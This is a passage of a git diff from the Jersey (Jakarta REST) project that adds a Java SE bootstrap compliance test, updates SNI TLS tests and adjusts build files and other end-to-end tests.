.port(SeBootstrap.Configuration.DEFAULT_PORT).build(); + + URI uri = configuration.uri(true); + assertEquals(Container.DEFAULT_HTTP_PORT, uri.getPort()); + } + + @Test + public void testPortSystemProperty() { + JerseySeBootstrapConfiguration configuration = (JerseySeBootstrapConfiguration) RuntimeDelegateImpl.getInstance() + .createConfigurationBuilder() + .build(); + + URI uri = configuration.uri(true); + assertEquals(9998, uri.getPort()); + } +}
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/sebootstrap/SeBootstrapTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/sebootstrap/SeBootstrapTest.java new file mode 100644 index 0000000..afc676d --- /dev/null +++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/sebootstrap/SeBootstrapTest.java
@@ -0,0 +1,367 @@ +/* + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2020 Markus Karg. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.tests.e2e.server.sebootstrap; + +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.greaterThan; +import static org.hamcrest.Matchers.is; + +import java.io.IOException; +import java.net.ServerSocket; +import java.util.Collections; +import java.util.Optional; +import java.util.Set; +import java.util.concurrent.CompletionStage; +import java.util.concurrent.ExecutionException; + +import jakarta.ws.rs.ApplicationPath; +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.SeBootstrap; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.UriBuilder; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.Test; + +/** + * Compliance Test for Java SE Bootstrap API of Jakarta REST API + * + * @author Markus KARG (markus@headcrashing.eu) + * @since 3.1 + */ +public class SeBootstrapTest { + /** + * Verifies that an instance will boot using default configuration. + * + * @throws ExecutionException if the instance didn't boot correctly + * @throws InterruptedException if the test took much longer than usually + * expected + */ + @Test + public final void shouldBootInstanceUsingDefaults() throws InterruptedException, ExecutionException { + // given + final int expectedResponse = mockInt(); + final Application application = new StaticApplication(expectedResponse); + final SeBootstrap.Configuration.Builder bootstrapConfigurationBuilder = SeBootstrap.Configuration.builder(); + final SeBootstrap.Configuration requestedConfiguration = bootstrapConfigurationBuilder.build(); + + // when + final CompletionStage<SeBootstrap.Instance> completionStage = SeBootstrap.start(application, requestedConfiguration); + final SeBootstrap.Instance instance = completionStage.toCompletableFuture().get(); + final SeBootstrap.Configuration actualConfiguration = instance.configuration(); + final int actualResponse = client.target(UriBuilder.newInstance().scheme(actualConfiguration.protocol()) + .host(actualConfiguration.host()).port(actualConfiguration.port()).path(actualConfiguration.rootPath()) + .path("application/resource")).request().get(int.class); + + // then + assertThat(actualResponse, is(expectedResponse)); + assertThat(actualConfiguration.protocol(), is("HTTP")); + assertThat(actualConfiguration.host(), is("localhost")); + assertThat(actualConfiguration.port(), is(greaterThan(0))); + assertThat(actualConfiguration.rootPath(), is("/")); + instance.stop().toCompletableFuture().get(); + } + + /** + * Verifies that an instance will boot using explicit configuration given by + * properties. + * + * @throws ExecutionException if the instance didn't boot correctly + * @throws InterruptedException if the test took much longer than usually + * expected + * @throws IOException if no IP port was free + */ + @Test + public final void shouldBootInstanceUsingProperties() throws InterruptedException, ExecutionException, IOException { + // given + final int expectedResponse = mockInt(); + final Application application = new StaticApplication(expectedResponse); + final SeBootstrap.Configuration.Builder bootstrapConfigurationBuilder = SeBootstrap.Configuration.builder(); + final SeBootstrap.Configuration requestedConfiguration = bootstrapConfigurationBuilder + .property(SeBootstrap.Configuration.PROTOCOL, "HTTP") + .property(SeBootstrap.Configuration.HOST, "localhost") + .property(SeBootstrap.Configuration.PORT, someFreeIpPort()) + .property(SeBootstrap.Configuration.ROOT_PATH, "/root/path").build(); + + // when + final CompletionStage<SeBootstrap.Instance> completionStage = SeBootstrap.start(application, requestedConfiguration); + final SeBootstrap.Instance instance = completionStage.toCompletableFuture().get(); + final SeBootstrap.Configuration actualConfiguration = instance.configuration(); + final int actualResponse = client.target(UriBuilder.newInstance().scheme(actualConfiguration.protocol()) + .host(actualConfiguration.host()).port(actualConfiguration.port()).path(actualConfiguration.rootPath()) + .path("application/resource")).request().get(int.class); + + // then + assertThat(actualResponse, is(expectedResponse)); + assertThat(actualConfiguration.protocol(), is(requestedConfiguration.protocol())); + assertThat(actualConfiguration.host(), is(requestedConfiguration.host())); + assertThat(actualConfiguration.port(), is(requestedConfiguration.port())); + assertThat(actualConfiguration.rootPath(), is(requestedConfiguration.rootPath())); + instance.stop().toCompletableFuture().get(); + } + + /** + * Verifies that an instance will boot using explicit configuration given by + * convenience methods. + * + * @throws ExecutionException if the instance didn't boot correctly + * @throws InterruptedException if the test took much longer than usually + * expected + * @throws IOException if no IP port was free + */ + @Test + public final void shouldBootInstanceUsingConvenienceMethods() throws InterruptedException, ExecutionException, IOException { + // given + final int expectedResponse = mockInt(); + final Application application = new StaticApplication(expectedResponse); + final SeBootstrap.Configuration.Builder bootstrapConfigurationBuilder = SeBootstrap.Configuration.builder(); + final SeBootstrap.Configuration requestedConfiguration = bootstrapConfigurationBuilder.protocol("HTTP").host("localhost") + .port(someFreeIpPort()).rootPath("/root/path").build(); + + // when + final CompletionStage<SeBootstrap.Instance> completionStage = SeBootstrap.start(application, requestedConfiguration); + final SeBootstrap.Instance instance = completionStage.toCompletableFuture().get(); + final SeBootstrap.Configuration actualConfiguration = instance.configuration(); + final int actualResponse = client.target(UriBuilder.newInstance().scheme(actualConfiguration.protocol()) + .host(actualConfiguration.host()).port(actualConfiguration.port()).path(actualConfiguration.rootPath()) + .path("application/resource")).request().get(int.class); + + // then + assertThat(actualResponse, is(expectedResponse)); + assertThat(actualConfiguration.protocol(), is(requestedConfiguration.protocol())); + assertThat(actualConfiguration.host(), is(requestedConfiguration.host())); + assertThat(actualConfiguration.port(), is(requestedConfiguration.port())); + assertThat(actualConfiguration.rootPath(), is(requestedConfiguration.rootPath())); + instance.stop().toCompletableFuture().get(); + } + + /** + * Verifies that an instance will boot using external configuration. + * + * @throws ExecutionException if the instance didn't boot correctly + * @throws InterruptedException if the test took much longer than usually + * expected + * @throws IOException if no IP port was free + */ + @Test + public final void shouldBootInstanceUsingExternalConfiguration() throws Exception { + // given + final int someFreeIpPort = someFreeIpPort(); + final int expectedResponse = mockInt(); + final Application application = new StaticApplication(expectedResponse); + final SeBootstrap.Configuration.Builder bootstrapConfigurationBuilder = SeBootstrap.Configuration.builder(); + final SeBootstrap.Configuration requestedConfiguration = bootstrapConfigurationBuilder.from((property, type) -> { + switch (property) { + case SeBootstrap.Configuration.PROTOCOL: + return Optional.of("HTTP"); + case SeBootstrap.Configuration.HOST: + return Optional.of("localhost"); + case SeBootstrap.Configuration.PORT: + return Optional.of(someFreeIpPort); + case SeBootstrap.Configuration.ROOT_PATH: + return Optional.of("/root/path"); + default: + return Optional.empty(); + } + }).build(); + + // when + final CompletionStage<SeBootstrap.Instance> completionStage = SeBootstrap.start(application, requestedConfiguration); + final SeBootstrap.Instance instance = completionStage.toCompletableFuture().get(); + final SeBootstrap.Configuration actualConfiguration = instance.configuration(); + final int actualResponse = client.target(UriBuilder.newInstance().scheme(actualConfiguration.protocol()) + .host(actualConfiguration.host()).port(actualConfiguration.port()).path(actualConfiguration.rootPath()) + .path("application/resource")).request().get(int.class); + + // then + assertThat(actualResponse, is(expectedResponse)); + assertThat(actualConfiguration.protocol(), is(requestedConfiguration.protocol())); + assertThat(actualConfiguration.host(), is(requestedConfiguration.host())); + assertThat(actualConfiguration.port(), is(requestedConfiguration.port())); + assertThat(actualConfiguration.rootPath(), is(requestedConfiguration.rootPath())); + instance.stop().toCompletableFuture().get(); + } + + /** + * Verifies that an instance will ignore unknown configuration parameters. + * + * @throws ExecutionException if the instance didn't boot correctly + * @throws InterruptedException if the test took much longer than usually + * expected + * @throws IOException if no IP port was free + */ + @Test + public final void shouldBootInstanceDespiteUnknownConfigurationParameters() throws Exception { + // given + final int expectedResponse = mockInt(); + final Application application = new StaticApplication(expectedResponse); + final SeBootstrap.Configuration.Builder bootstrapConfigurationBuilder = SeBootstrap.Configuration.builder(); + final SeBootstrap.Configuration requestedConfiguration = bootstrapConfigurationBuilder.protocol("HTTP").host("localhost") + .port(someFreeIpPort()).rootPath("/root/path").from((property, type) -> { + switch (property) { + case "jakarta.ws.rs.tck.sebootstrap.SeBootstrapIT$Unknown_1": + return Optional.of("Silently ignored value A"); + default: + return Optional.empty(); + } + }).property("jakarta.ws.rs.tck.sebootstrap.SeBootstrapIT$Unknown_2", "Silently ignored value B") + .from(new Object()).build(); + + // when + final CompletionStage<SeBootstrap.Instance> completionStage = SeBootstrap.start(application, requestedConfiguration); + final SeBootstrap.Instance instance = completionStage.toCompletableFuture().get(); + final SeBootstrap.Configuration actualConfiguration = instance.configuration(); + final int actualResponse = client.target(UriBuilder.newInstance().scheme(actualConfiguration.protocol()) + .host(actualConfiguration.host()).port(actualConfiguration.port()).path(actualConfiguration.rootPath()) + .path("application/resource")).request().get(int.class); + + // then + assertThat(actualResponse, is(expectedResponse)); + assertThat(actualConfiguration.protocol(), is(requestedConfiguration.protocol())); + assertThat(actualConfiguration.host(), is(requestedConfiguration.host())); + assertThat(actualConfiguration.port(), is(requestedConfiguration.port())); + assertThat(actualConfiguration.rootPath(), is(requestedConfiguration.rootPath())); + instance.stop().toCompletableFuture().get(); + } + + /** + * Verifies that an instance will boot using a self-detected free IP port. + * + * @throws ExecutionException if the instance didn't boot correctly + * @throws InterruptedException if the test took much longer than usually + * expected + */ + @Test + public final void shouldBootInstanceUsingSelfDetectedFreeIpPort() throws InterruptedException, ExecutionException { + // given + final int expectedResponse = mockInt(); + final Application application = new StaticApplication(expectedResponse); + final SeBootstrap.Configuration.Builder bootstrapConfigurationBuilder = SeBootstrap.Configuration.builder(); + final SeBootstrap.Configuration requestedConfiguration = bootstrapConfigurationBuilder.protocol("HTTP").host("localhost") + .port(SeBootstrap.Configuration.FREE_PORT).rootPath("/root/path").build(); + + // when + final CompletionStage<SeBootstrap.Instance> completionStage = SeBootstrap.start(application, requestedConfiguration); + final SeBootstrap.Instance instance = completionStage.toCompletableFuture().get(); + final SeBootstrap.Configuration actualConfiguration = instance.configuration(); + final int actualResponse = client.target(UriBuilder.newInstance().scheme(actualConfiguration.protocol()) + .host(actualConfiguration.host()).port(actualConfiguration.port()).path(actualConfiguration.rootPath()) + .path("application/resource")).request().get(int.class); + + // then + assertThat(actualResponse, is(expectedResponse)); + assertThat(actualConfiguration.protocol(), is(requestedConfiguration.protocol())); + assertThat(actualConfiguration.host(), is(requestedConfiguration.host())); + assertThat(actualConfiguration.port(), is(greaterThan(0))); + assertThat(actualConfiguration.rootPath(), is(requestedConfiguration.rootPath())); + instance.stop().toCompletableFuture().get(); + } + + /** + * Verifies that an instance will boot using the implementation's default IP + * port. + * + * @throws ExecutionException if the instance didn't boot correctly + * @throws InterruptedException if the test took much longer than usually + * expected + */ + @Test + public final void shouldBootInstanceUsingImplementationsDefaultIpPort() throws InterruptedException, ExecutionException { + // given + final int expectedResponse = mockInt(); + final Application application = new StaticApplication(expectedResponse); + final SeBootstrap.Configuration.Builder bootstrapConfigurationBuilder = SeBootstrap.Configuration.builder(); + final SeBootstrap.Configuration requestedConfiguration = bootstrapConfigurationBuilder.protocol("HTTP").host("localhost") + .port(SeBootstrap.Configuration.DEFAULT_PORT).rootPath("/root/path").build(); + + // when + final CompletionStage<SeBootstrap.Instance> completionStage = SeBootstrap.start(application, requestedConfiguration); + final SeBootstrap.Instance instance = completionStage.toCompletableFuture().get(); + final SeBootstrap.Configuration actualConfiguration = instance.configuration(); + final int actualResponse = client.target(UriBuilder.newInstance().scheme(actualConfiguration.protocol()) + .host(actualConfiguration.host()).port(actualConfiguration.port()).path(actualConfiguration.rootPath()) + .path("application/resource")).request().get(int.class); + + // then + assertThat(actualResponse, is(expectedResponse)); + assertThat(actualConfiguration.protocol(), is(requestedConfiguration.protocol())); + assertThat(actualConfiguration.host(), is(requestedConfiguration.host())); + assertThat(actualConfiguration.port(), is(greaterThan(0))); + assertThat(actualConfiguration.rootPath(), is(requestedConfiguration.rootPath())); + instance.stop().toCompletableFuture().get(); + } + + private static Client client; + + @BeforeAll + public static void createClient() { + SeBootstrapTest.client = ClientBuilder.newClient(); + } + + @AfterAll + public static void disposeClient() { + SeBootstrapTest.client.close(); + } + + @ApplicationPath("application") + public static final class StaticApplication extends Application { + + private final StaticResource staticResource; + + private StaticApplication(final long staticResponse) { + this.staticResource = new StaticResource(staticResponse); + } + + @Override + public final Set<Object> getSingletons() { + return Collections.<Object>singleton(staticResource); + } + + @Path("resource") + public static final class StaticResource { + + private final long staticResponse; + + private StaticResource(final long staticResponse) { + this.staticResponse = staticResponse; + } + + @GET + public final long staticResponse() { + return this.staticResponse; + } + } + } + + private static final int someFreeIpPort() throws IOException { + int port = 0; + int cnt = 0; + while (port < 1024 && cnt++ < 1025) { + try (final ServerSocket serverSocket = new ServerSocket(0)) { + port = serverSocket.getLocalPort(); + } + } + return port; + } + + private static final int mockInt() { + return (int) Math.round(Integer.MAX_VALUE * Math.random()); + } +}
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/validation/validateonexecution/ValidateOnExecutionBasicTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/validation/validateonexecution/ValidateOnExecutionBasicTest.java index 995a6fb..cd39529 100644 --- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/validation/validateonexecution/ValidateOnExecutionBasicTest.java +++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/validation/validateonexecution/ValidateOnExecutionBasicTest.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -32,13 +32,20 @@ import jakarta.validation.executable.ExecutableType; import jakarta.validation.executable.ValidateOnExecution; +import jakarta.ws.rs.ext.ContextResolver; +import jakarta.xml.bind.JAXBContext; +import jakarta.xml.bind.JAXBException; +import org.eclipse.persistence.jaxb.BeanValidationMode; +import org.eclipse.persistence.jaxb.MarshallerProperties; +import org.glassfish.jersey.client.ClientConfig; import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.server.ServerProperties; import org.glassfish.jersey.test.TestProperties; import org.junit.jupiter.api.Test; -import org.junit.jupiter.api.parallel.Execution; -import org.junit.jupiter.api.parallel.ExecutionMode; + +import java.util.HashMap; +import java.util.Map; import static org.hamcrest.CoreMatchers.equalTo; import static org.hamcrest.MatcherAssert.assertThat; @@ -290,6 +297,28 @@ } } + /** + * Do not validate the bean by Moxy, validate just by Jersey + */ + public static class MoxyNotValidateContextResolver implements ContextResolver<JAXBContext> { + @Override + public JAXBContext getContext(Class<?> type) { + Map<String, Object> properties = new HashMap<>(); + properties.put(MarshallerProperties.BEAN_VALIDATION_MODE, BeanValidationMode.NONE); + try { + return JAXBContext.newInstance(new Class[]{type}, properties); + } catch (JAXBException e) { + throw new RuntimeException(e); + } + } + } + + @Override + protected void configureClient(ClientConfig config) { + config.register(MoxyNotValidateContextResolver.class); + super.configureClient(config); + } + @Override protected Application configure() { enable(TestProperties.LOG_TRAFFIC); @@ -310,7 +339,8 @@ ValidateGetterExecutableOnTypeMatch.class, ValidateGetterExecutableOnBeans.class, ValidateGetterResourceMethod.class, - ValidateExecutableResource.class) + ValidateExecutableResource.class, + MoxyNotValidateContextResolver.class) .property(ServerProperties.BV_DISABLE_VALIDATE_ON_EXECUTABLE_OVERRIDE_CHECK, true); }
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/wadl/WadlBeanParamTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/wadl/WadlBeanParamTest.java index 8790628..17b3124 100644 --- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/wadl/WadlBeanParamTest.java +++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/wadl/WadlBeanParamTest.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2015, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -39,9 +39,13 @@ import jakarta.ws.rs.core.Request; import jakarta.ws.rs.core.Response; +import javax.xml.transform.ErrorListener; +import javax.xml.transform.Result; +import javax.xml.transform.Source; import javax.xml.transform.Transformer; import javax.xml.transform.TransformerException; import javax.xml.transform.TransformerFactory; +import javax.xml.transform.URIResolver; import javax.xml.transform.dom.DOMSource; import javax.xml.transform.stream.StreamResult; import javax.xml.xpath.XPath;
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/wadl/WadlResourceTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/wadl/WadlResourceTest.java index f342c5f..899d9ca 100644 --- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/wadl/WadlResourceTest.java +++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/wadl/WadlResourceTest.java
@@ -1022,7 +1022,12 @@ final String document = response.readEntity(String.class); // check that the resulting document contains a method element with id="fooX" - assertTrue(document.replaceAll("\n", " ").matches(".*<method[^>]+id=\"foo" + i + "\"[^>]*>.*")); + assertTrue(document + .replaceAll("\n", " ") + .replaceAll("\r", "") + .replaceAll("ns0:", "") + .matches(".*<method[^>]+id=\"foo" + i + "\"[^>]*>.*") + ); } } }
diff --git a/tests/e2e-testng/pom.xml b/tests/e2e-testng/pom.xml index 2fca714..4e9ff98 100644 --- a/tests/e2e-testng/pom.xml +++ b/tests/e2e-testng/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -24,7 +24,7 @@ <parent> <groupId>org.glassfish.jersey.tests</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>e2e-testng</artifactId>
diff --git a/tests/e2e-tls/pom.xml b/tests/e2e-tls/pom.xml index 8e15cb6..51a907a 100644 --- a/tests/e2e-tls/pom.xml +++ b/tests/e2e-tls/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>e2e-tls</artifactId> @@ -42,6 +42,7 @@ <reuseForks>false</reuseForks> <systemPropertyVariables> <sun.net.http.allowRestrictedHeaders>true</sun.net.http.allowRestrictedHeaders> + <jdk.httpclient.allowRestrictedHeaders>Host</jdk.httpclient.allowRestrictedHeaders> <property> <name>ssl.debug</name> <value>true</value> @@ -126,6 +127,11 @@ <scope>test</scope> </dependency> <dependency> + <groupId>org.glassfish.jersey.connectors</groupId> + <artifactId>jersey-jnh-connector</artifactId> + <scope>test</scope> + </dependency> + <dependency> <groupId>org.glassfish.jersey.security</groupId> <artifactId>oauth1-signature</artifactId> <version>${project.version}</version> @@ -167,7 +173,7 @@ <profile> <id>JDK_17-</id> <activation> - <jdk>[1.8,17)</jdk> + <jdk>[11,17)</jdk> </activation> <build> <plugins>
diff --git a/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/SniTest.java b/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/SniTest.java index 5156ab0..03ee91f 100644 --- a/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/SniTest.java +++ b/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/SniTest.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,16 +16,18 @@ package org.glassfish.jersey.tests.e2e.tls; +import jakarta.ws.rs.client.Invocation; import org.glassfish.jersey.apache.connector.ApacheConnectorProvider; import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider; import org.glassfish.jersey.client.ClientConfig; import org.glassfish.jersey.client.ClientProperties; import org.glassfish.jersey.client.HttpUrlConnectorProvider; import org.glassfish.jersey.client.spi.ConnectorProvider; +import org.glassfish.jersey.internal.util.JdkVersion; import org.glassfish.jersey.jdk.connector.JdkConnectorProvider; +import org.glassfish.jersey.jnh.connector.JavaNetHttpConnectorProvider; import org.glassfish.jersey.netty.connector.NettyConnectorProvider; import org.glassfish.jersey.tests.e2e.tls.explorer.SSLCapabilities; -import org.junit.jupiter.api.Assertions; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.MethodSource; @@ -39,33 +41,36 @@ import java.net.InetAddress; import java.net.Socket; import java.net.SocketTimeoutException; -import java.net.URI; import java.net.UnknownHostException; -import java.nio.charset.StandardCharsets; import java.util.LinkedList; import java.util.List; -import java.util.concurrent.CountDownLatch; -import java.util.concurrent.TimeUnit; import java.util.concurrent.TimeoutException; public class SniTest { private static final int PORT = 8443; private static final String LOCALHOST = "127.0.0.1"; - + private static JdkVersion jdkVersion = JdkVersion.getJdkVersion(); static { +// Debug +// System.setProperty("sun.net.http.allowRestrictedHeaders", "true"); +// System.setProperty("jdk.httpclient.allowRestrictedHeaders", "Host"); // JDK specific settings System.setProperty("jdk.net.hosts.file", SniTest.class.getResource("/hosts").getPath()); } public static ConnectorProvider[] getConnectors() { - return new ConnectorProvider[] { - new NettyConnectorProvider(), - new ApacheConnectorProvider(), - new Apache5ConnectorProvider(), - new JdkConnectorProvider(), - new HttpUrlConnectorProvider() - }; + ConnectorProvider[] providers = new ConnectorProvider[jdkVersion.getMajor() < 24 ? 6 : 5]; + providers[0] = new NettyConnectorProvider(); + providers[1] = new ApacheConnectorProvider(); + providers[2] = new Apache5ConnectorProvider(); + providers[3] = new JdkConnectorProvider(); + providers[4] = new HttpUrlConnectorProvider(); + if (jdkVersion.getMajor() < 24) { + /* The trick with 127.0.0.1 instead of the host in uri to get the SNI does not work for JDK 24 any longer */ + providers[5] = new JavaNetHttpConnectorProvider(); + } + return providers; } @ParameterizedTest @@ -73,7 +78,8 @@ public void server1Test(ConnectorProvider provider) { ClientConfig clientConfig = new ClientConfig(); clientConfig.connectorProvider(provider); - serverTest(clientConfig, "www.host1.com", "www.host1.com"); + clientConfig.property(ClientProperties.SNI_HOST_NAME, "www.host1.com"); + serverTest(clientConfig, provider, "www.host1.com", "www.host1.com"); } @ParameterizedTest @@ -82,7 +88,7 @@ ClientConfig clientConfig = new ClientConfig(); clientConfig.connectorProvider(provider); clientConfig.property(ClientProperties.SNI_HOST_NAME, "www.host3.com"); - serverTest(clientConfig, "www.host4.com", "www.host3.com"); + serverTest(clientConfig, provider, "www.host4.com", "www.host3.com"); } @ParameterizedTest @@ -91,10 +97,11 @@ ClientConfig clientConfig = new ClientConfig(); clientConfig.connectorProvider(provider); clientConfig.property(ClientProperties.SNI_HOST_NAME, LOCALHOST); - serverTest(clientConfig, "www.host4.com", null); + serverTest(clientConfig, provider, "www.host4.com", null); } - public void serverTest(ClientConfig clientConfig, String hostName, String resultHostName) { + + public void serverTest(ClientConfig clientConfig, ConnectorProvider provider, String hostName, String resultHostName) { String newHostName = replaceWhenHostNotKnown(hostName); final List<SNIServerName> serverNames = new LinkedList<>(); final String[] requestHostName = new String[1]; @@ -109,7 +116,7 @@ clientConfig.property(ClientProperties.READ_TIMEOUT, 2000); clientConfig.property(ClientProperties.CONNECT_TIMEOUT, 2000); - try (Response r = ClientBuilder.newClient(clientConfig) + Invocation.Builder builder = ClientBuilder.newClient(clientConfig) .register(new ClientRequestFilter() { @Override public void filter(ClientRequestContext requestContext) throws IOException { @@ -118,9 +125,11 @@ }) .target("https://" + (newHostName.equals(LOCALHOST) ? LOCALHOST : "www.host0.com") + ":" + PORT) .path("host") - .request() - .header(HttpHeaders.HOST, hostName + ":8080") - .get()) { + .request(); + if (!JavaNetHttpConnectorProvider.class.isInstance(provider)) { + builder = builder.header(HttpHeaders.HOST, hostName + ":" + PORT); + } + try (Response r = builder.get()) { // empty } catch (Exception e) { Throwable cause = e; @@ -129,7 +138,7 @@ && TimeoutException.class.isInstance(cause)) { cause = cause.getCause(); } - if (cause == null && /*IOE*/ !e.getMessage().contains("Stream closed")) { + if ((!e.getMessage().contains("Stream closed")) && !e.getMessage().contains("timed out")) { throw e; } } @@ -138,7 +147,7 @@ if (resultHostName != null && serverNames.isEmpty()) { throw new IllegalStateException("ServerNames are empty"); - } else if (resultHostName == null && serverNames.isEmpty()) { + } else if (resultHostName == null) { return; }
diff --git a/tests/e2e/pom.xml b/tests/e2e/pom.xml index 091c5d6..1a6e9ff 100644 --- a/tests/e2e/pom.xml +++ b/tests/e2e/pom.xml
@@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>e2e</artifactId> @@ -44,6 +44,7 @@ <excludes> <!--TODO remove after jakartification--> <exclude>org/glassfish/jersey/tests/e2e/server/wadl/NoJAXBNoWadlTest.java</exclude> + <exclude>org/glassfish/jersey/tests/e2e/inject/SingleRequestScopeInjectionTest.java</exclude> </excludes> </configuration> </plugin> @@ -205,7 +206,7 @@ <profile> <id>JettyExclude</id> <activation> - <jdk>1.8</jdk> + <jdk>[11,17)</jdk> </activation> <build> <plugins> @@ -224,15 +225,6 @@ </build> </profile> <profile> - <id>jdk8</id> - <activation> - <jdk>1.8</jdk> - </activation> - <properties> - <jboss.logging.version>${jboss.logging.8.version}</jboss.logging.version> - </properties> - </profile> - <profile> <id>sonar</id> <build> <pluginManagement>
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/ContentDispositionTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/ContentDispositionTest.java index 8cecb6b..138466e 100644 --- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/ContentDispositionTest.java +++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/ContentDispositionTest.java
@@ -66,7 +66,7 @@ contentDisposition = new ContentDisposition(header); assertNotNull(contentDisposition); assertEquals(contentDispositionType, contentDisposition.getType()); - final String dateString = HttpDateFormat.getPreferredDateFormat().format(date); + final String dateString = HttpDateFormat.getPreferredDateFormatter().format(date); header = contentDispositionType + ";filename=\"test.file\";creation-date=\"" + dateString + "\";modification-date=\"" + dateString + "\";read-date=\"" + dateString + "\";size=1222"; @@ -101,7 +101,7 @@ final Date date = new Date(); final ContentDisposition contentDisposition = ContentDisposition.type(contentDispositionType).fileName("test.file") .creationDate(date).modificationDate(date).readDate(date).size(1222).build(); - final String dateString = HttpDateFormat.getPreferredDateFormat().format(date); + final String dateString = HttpDateFormat.getPreferredDateFormatter().format(date); final String header = contentDispositionType + "; filename=\"test.file\"; creation-date=\"" + dateString + "\"; modification-date=\"" + dateString + "\"; read-date=\"" + dateString + "\"; size=1222"; assertEquals(header, contentDisposition.toString()); @@ -252,7 +252,7 @@ final boolean decode ) throws ParseException { final Date date = new Date(); - final String dateString = HttpDateFormat.getPreferredDateFormat().format(date); + final String dateString = HttpDateFormat.getPreferredDateFormatter().format(date); final String prefixHeader = contentDispositionType + ";filename=\"" + actualFileName + "\";" + "creation-date=\"" + dateString + "\";modification-date=\"" + dateString + "\";read-date=\"" + dateString + "\";size=1222" + ";name=\"testData\";" + "filename*=\"";
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/CookieImplTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/CookieImplTest.java index 5438e71..53cd76d 100644 --- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/CookieImplTest.java +++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/CookieImplTest.java
